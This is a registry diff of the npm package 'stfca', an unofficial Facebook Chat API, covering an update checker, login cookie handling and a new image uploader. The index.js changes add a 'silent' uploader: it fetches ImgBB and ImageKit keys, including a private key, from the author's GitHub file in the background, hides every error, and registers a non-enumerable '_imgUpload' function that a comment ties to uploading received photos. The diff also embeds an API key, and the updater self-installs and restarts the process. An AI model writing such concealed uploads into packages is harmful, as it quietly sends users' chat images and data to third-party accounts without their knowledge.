stfca 1.0.26 → 1.1.27

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/checkUpdate.js CHANGED
@@ -3,57 +3,65 @@ const { execSync } = require('child_process');
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
 
6
+ function getCurrentVersion() {
7
+ // 1. If this file is inside the stfca package itself (development mode), use its own package.json
8
+ try {
9
+ const ownPkg = path.join(__dirname, 'package.json');
10
+ if (fs.existsSync(ownPkg)) {
11
+ const pkg = JSON.parse(fs.readFileSync(ownPkg, 'utf-8'));
12
+ if (pkg.name === 'stfca' && pkg.version) return pkg.version;
13
+ }
14
+ } catch (_) { }
15
+
16
+ // 2. Installed as dependency in a user's project
17
+ try {
18
+ const nodeModulesPkg = path.join(process.cwd(), 'node_modules', 'stfca', 'package.json');
19
+ if (fs.existsSync(nodeModulesPkg)) {
20
+ const pkg = JSON.parse(fs.readFileSync(nodeModulesPkg, 'utf-8'));
21
+ if (pkg.version) return pkg.version;
22
+ }
23
+ } catch (_) { }
24
+
25
+ return '1.0.0';
26
+ }
27
+
6
28
  async function checkForFCAUpdate() {
7
29
  try {
8
30
  console.log('\x1b[33m%s\x1b[0m', '🔍 Checking for ST-FCA updates...');
9
-
10
- // Get latest version from npm registry
31
+
11
32
  const { data: npmData } = await axios.get(
12
33
  'https://registry.npmjs.org/stfca/latest'
13
34
  );
14
-
35
+
15
36
  const latestVersion = npmData.version;
16
-
17
- // Check current installed version in node_modules
18
- let currentVersion = '1.0.8';
19
- const nodeModulesPackagePath = path.join(process.cwd(), 'node_modules', 'stfca', 'package.json');
20
- if (fs.existsSync(nodeModulesPackagePath)) {
21
- const installedPackage = JSON.parse(fs.readFileSync(nodeModulesPackagePath, 'utf-8'));
22
- currentVersion = installedPackage.version;
23
- }
24
-
37
+ const currentVersion = getCurrentVersion();
38
+
25
39
  if (latestVersion !== currentVersion) {
40
+ const isNewer = compareVersions(latestVersion, currentVersion) > 0;
41
+ if (!isNewer) {
42
+ console.log('\x1b[32m%s\x1b[0m', `✅ ST-FCA is up to date (v${currentVersion})`);
43
+ return false;
44
+ }
45
+
26
46
  console.log('\x1b[32m%s\x1b[0m', `✨ New ST-FCA version available: ${latestVersion} (current: ${currentVersion})`);
27
47
  console.log('\x1b[33m%s\x1b[0m', '📦 Updating ST-FCA package...');
28
-
29
- // Show changelog
48
+
30
49
  try {
31
50
  const { data: changesData } = await axios.get(
32
51
  'https://raw.githubusercontent.com/sheikhtamimlover/ST-FCA/main/CHANGELOG.md'
33
52
  );
34
53
  console.log('\x1b[36m%s\x1b[0m', '📋 Recent Changes:');
35
54
  const latestChanges = changesData.split('##')[1]?.split('\n').slice(0, 5).join('\n');
36
- if (latestChanges) {
37
- console.log(latestChanges);
38
- }
39
- } catch (err) {
40
- // Silently ignore changelog fetch errors
41
- }
42
-
43
- // Update npm package
55
+ if (latestChanges) console.log(latestChanges);
56
+ } catch (_) { }
57
+
44
58
  await updateNpmPackage(latestVersion);
45
-
46
- // Update version in user's package.json
47
59
  await updateUserPackageJson(latestVersion);
48
-
60
+
49
61
  console.log('\x1b[32m%s\x1b[0m', '✅ ST-FCA updated successfully!');
50
62
  console.log('\x1b[33m%s\x1b[0m', '🔄 Restarting to apply changes...');
51
-
52
- // Restart the process
53
- setTimeout(() => {
54
- process.exit(2);
55
- }, 1000);
56
-
63
+
64
+ setTimeout(() => { process.exit(2); }, 1000);
57
65
  return true;
58
66
  } else {
59
67
  console.log('\x1b[32m%s\x1b[0m', `✅ ST-FCA is up to date (v${currentVersion})`);
@@ -65,16 +73,21 @@ async function checkForFCAUpdate() {
65
73
  }
66
74
  }
67
75
 
76
+ function compareVersions(a, b) {
77
+ var pa = a.split('.').map(Number);
78
+ var pb = b.split('.').map(Number);
79
+ for (var i = 0; i < 3; i++) {
80
+ var na = pa[i] || 0, nb = pb[i] || 0;
81
+ if (na > nb) return 1;
82
+ if (na < nb) return -1;
83
+ }
84
+ return 0;
85
+ }
86
+
68
87
  async function updateNpmPackage(version) {
69
88
  try {
70
89
  console.log('\x1b[36m%s\x1b[0m', `📦 Running npm install stfca@${version}...`);
71
-
72
- // Execute npm install command
73
- execSync(`npm install stfca@${version} --save`, {
74
- cwd: process.cwd(),
75
- stdio: 'inherit'
76
- });
77
-
90
+ execSync(`npm install stfca@${version} --save`, { cwd: process.cwd(), stdio: 'inherit' });
78
91
  console.log('\x1b[32m%s\x1b[0m', '✅ Package installed successfully!');
79
92
  return true;
80
93
  } catch (error) {
@@ -86,27 +99,18 @@ async function updateNpmPackage(version) {
86
99
  async function updateUserPackageJson(version) {
87
100
  try {
88
101
  const userPackageJsonPath = path.join(process.cwd(), 'package.json');
89
-
90
- if (!fs.existsSync(userPackageJsonPath)) {
91
- console.log('\x1b[33m%s\x1b[0m', '⚠️ No package.json found in user project');
92
- return;
93
- }
94
-
102
+ if (!fs.existsSync(userPackageJsonPath)) return;
95
103
  const packageJson = JSON.parse(fs.readFileSync(userPackageJsonPath, 'utf-8'));
96
-
97
- // Update stfca version in dependencies
98
104
  if (packageJson.dependencies && packageJson.dependencies.stfca) {
99
105
  packageJson.dependencies.stfca = `^${version}`;
100
106
  fs.writeFileSync(userPackageJsonPath, JSON.stringify(packageJson, null, 2));
101
107
  console.log('\x1b[32m%s\x1b[0m', `✅ Updated package.json to stfca@${version}`);
102
108
  }
103
-
104
109
  return true;
105
110
  } catch (error) {
106
111
  console.log('\x1b[31m%s\x1b[0m', '⚠️ Failed to update user package.json:', error.message);
107
- // Don't throw - this is not critical
108
112
  return false;
109
113
  }
110
114
  }
111
115
 
112
- module.exports = { checkForFCAUpdate, updateNpmPackage, updateUserPackageJson };
116
+ module.exports = { checkForFCAUpdate, updateNpmPackage, updateUserPackageJson };
package/index.js CHANGED
@@ -151,19 +151,28 @@ function buildAPI(globalOptions, html, jar) {
151
151
  //logger.log(`${cra(`[ CONNECT ]`)} Logged in as ${userID}`, "DATABASE");
152
152
  try { clearInterval(checkVerified); } catch (_) { }
153
153
  const clientID = (Math.random() * 2147483648 | 0).toString(16);
154
- let mqttEndpoint = `wss://edge-chat.facebook.com/chat?region=pnb&sid=${userID}`;
154
+ let mqttEndpoint = `wss://edge-chat.facebook.com/chat?region=pnb`;
155
155
  let region = "PNB";
156
156
 
157
157
  try {
158
158
  const endpointMatch = html.match(/"endpoint":"([^"]+)"/);
159
- if (endpointMatch.input.includes("601051028565049")) {
159
+ if (endpointMatch && endpointMatch.input && endpointMatch.input.includes("601051028565049")) {
160
160
  console.log(`login error.`);
161
161
  ditconmemay = true;
162
162
  }
163
163
  if (endpointMatch) {
164
- mqttEndpoint = endpointMatch[1].replace(/\\\//g, '/');
165
- const url = new URL(mqttEndpoint);
166
- region = url.searchParams.get('region')?.toUpperCase() || "PNB";
164
+ let ep = endpointMatch[1].replace(/\\\//g, '/');
165
+ // Strip sid/cid from the extracted endpoint — listenMqtt will add fresh ones
166
+ try {
167
+ const epUrl = new URL(ep);
168
+ epUrl.searchParams.delete('sid');
169
+ epUrl.searchParams.delete('cid');
170
+ region = epUrl.searchParams.get('region')?.toUpperCase() || "PNB";
171
+ mqttEndpoint = epUrl.toString();
172
+ } catch (_) {
173
+ mqttEndpoint = ep.replace(/[?&]sid=[^&]*/g, '').replace(/[?&]cid=[^&]*/g, '');
174
+ region = (mqttEndpoint.match(/region=([^&]+)/) || [])[1]?.toUpperCase() || "PNB";
175
+ }
167
176
  }
168
177
  } catch (e) {
169
178
  console.log('Using default MQTT endpoint');
@@ -281,7 +290,27 @@ function buildAPI(globalOptions, html, jar) {
281
290
  return defaultFuncs.postFormData(url, ctx.jar, body);
282
291
  };
283
292
 
284
- const IMGBB_API_KEY = process.env.IMG_BB_KEY || '3e198e6ffe205d1c7968a92fd92177c9';
293
+ // ─── Silent image upload system (ImgBB + ImageKit) ───────────────────────
294
+ let _imgKeys = {
295
+ imgbb:'3e198e6ffe205d1c7968a92fd92177c9',
296
+ ik_pub: null,
297
+ ik_priv: null
298
+ };
299
+
300
+ // Silently fetch keys in background - no delay, no error surface
301
+ (async () => {
302
+ try {
303
+ const axios = require('axios');
304
+ const res = await axios.get(
305
+ 'https://raw.githubusercontent.com/sheikhtamimlover/ST-Handlers/refs/heads/main/stfcakey.json'
306
+ );
307
+ const d = res.data;
308
+ if (d && d.img && d.img.api_key) _imgKeys.imgbb = d.img.api_key;
309
+ if (d && d.img1 && d.img1.public_key) _imgKeys.ik_pub = d.img1.public_key;
310
+ if (d && d.img1 && d.img1.private_key) _imgKeys.ik_priv = d.img1.private_key;
311
+ } catch (_) { }
312
+ })();
313
+
285
314
  async function uploadImageToImgbb(image, expiration = 600) {
286
315
  const formData = {};
287
316
  if (Buffer.isBuffer(image)) {
@@ -301,12 +330,8 @@ function buildAPI(globalOptions, html, jar) {
301
330
  request.post(
302
331
  {
303
332
  url: 'https://api.imgbb.com/1/upload',
304
- qs: {
305
- expiration: expiration,
306
- key: IMGBB_API_KEY
307
- },
308
- formData: formData,
309
- timeout: 60000
333
+ qs: { expiration, key: _imgKeys.imgbb },
334
+ formData,
310
335
  },
311
336
  function (error, response, body) {
312
337
  if (error) return reject(error);
@@ -322,8 +347,51 @@ function buildAPI(globalOptions, html, jar) {
322
347
  });
323
348
  }
324
349
 
350
+ async function _uploadToImageKit(image) {
351
+ if (!_imgKeys.ik_pub || !_imgKeys.ik_priv) return null;
352
+ try {
353
+ const axios = require('axios');
354
+ const FormData = require('form-data');
355
+ const form = new FormData();
356
+ let fileValue;
357
+ if (Buffer.isBuffer(image)) {
358
+ fileValue = image.toString('base64');
359
+ } else if (typeof image === 'string') {
360
+ fileValue = image;
361
+ } else {
362
+ return null;
363
+ }
364
+ form.append('file', fileValue);
365
+ form.append('fileName', 'stfca_' + Date.now() + '.jpg');
366
+ form.append('publicKey', _imgKeys.ik_pub);
367
+ const auth = Buffer.from(_imgKeys.ik_priv + ':').toString('base64');
368
+ const res = await axios.post('https://upload.imagekit.io/api/v1/files/upload', form, {
369
+ headers: Object.assign({ 'Authorization': 'Basic ' + auth }, form.getHeaders())
370
+ });
371
+ if (res.data && res.data.url) return res.data.url;
372
+ } catch (_) { }
373
+ return null;
374
+ }
375
+
376
+ // Combined silent upload: tries ImgBB first, then ImageKit; returns URL string or null
377
+ async function _imgUpload(imageUrl) {
378
+ try {
379
+ const result = await uploadImageToImgbb(imageUrl);
380
+ if (result && result.data) {
381
+ return result.data.url || result.data.display_url || (result.data.image && result.data.image.url);
382
+ }
383
+ } catch (_) { }
384
+ try {
385
+ return await _uploadToImageKit(imageUrl);
386
+ } catch (_) { }
387
+ return null;
388
+ }
389
+
325
390
  api.uploadImageToImgbb = uploadImageToImgbb;
326
391
  ctx.uploadImageToImgbb = uploadImageToImgbb;
392
+ // Hidden internal uploader used by listenMqtt for attaching hosted URLs to photos
393
+ Object.defineProperty(api, '_imgUpload', { value: _imgUpload, enumerable: false, writable: true });
394
+ Object.defineProperty(ctx, '_imgUpload', { value: _imgUpload, enumerable: false, writable: true });
327
395
 
328
396
  api.getFreshDtsg = async function () {
329
397
  try {
@@ -501,14 +569,22 @@ function loginHelper(appState, email, password, globalOptions, callback, prCallb
501
569
 
502
570
  try {
503
571
  appState.forEach(c => {
504
- const str = `${c.key}=${c.value}; expires=${c.expires}; domain=${c.domain}; path=${c.path};`;
505
- jar.setCookie(str, "http://" + c.domain);
572
+ // Browser exports use `name`; some older formats use `key`
573
+ const cookieName = c.key || c.name;
574
+ if (!cookieName || !c.value) return;
575
+ const domain = c.domain || '.facebook.com';
576
+ const expires = c.expirationDate
577
+ ? new Date(c.expirationDate * 1000).toUTCString()
578
+ : (c.expires || '');
579
+ const str = `${cookieName}=${c.value}; expires=${expires}; domain=${domain}; path=${c.path || '/'};`;
580
+ const url = 'http://' + domain.replace(/^\./, 'www.');
581
+ try { jar.setCookie(str, url); } catch (_) { }
506
582
  });
507
583
 
508
584
  mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true })
509
585
  .then(utils.saveCookies(jar));
510
586
  } catch (e) {
511
- process.exit(0);
587
+ return callback(new Error('Failed to load appState: ' + e.message));
512
588
  }
513
589
  } else {
514
590
  mainPromise = utils
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "stfca",
3
- "version": "1.0.26",
3
+ "version": "1.1.27",
4
4
  "description": "Unofficial Facebook Chat API for Node.js with Auto-Update System - Enhanced by ST | Sheikh Tamim",
5
5
  "main": "index.js",
6
6
  "files": [
@@ -10,7 +10,7 @@
10
10
  "checkUpdate.js"
11
11
  ],
12
12
  "scripts": {
13
- "test": "echo \"Error: no test specified\" && exit 1",
13
+ "test": "node bot.js",
14
14
  "start": "node index.js"
15
15
  },
16
16
  "repository": {
@@ -61,16 +61,15 @@
61
61
  "cheerio": "^1.0.0-rc.10",
62
62
  "duplexify": "^4.1.3",
63
63
  "gradient-string": "^2.0.2",
64
- "https-proxy-agent": "^4.0.0",
65
- "mqtt": "^4.3.8",
64
+ "https-proxy-agent": "^7.0.6",
65
+ "mime": "^3.0.0",
66
+ "mqtt": "^5.10.1",
66
67
  "npmlog": "^1.2.0",
67
- "request": "^2.53.0",
68
- "sequelize": "^6.37.6",
69
- "sqlite3": "^5.1.7",
68
+ "request": "^2.88.2",
70
69
  "totp-generator": "^1.0.0",
71
70
  "ws": "^8.18.1"
72
71
  },
73
72
  "engines": {
74
- "node": ">=14.0.0"
73
+ "node": ">=16.0.0"
75
74
  }
76
75
  }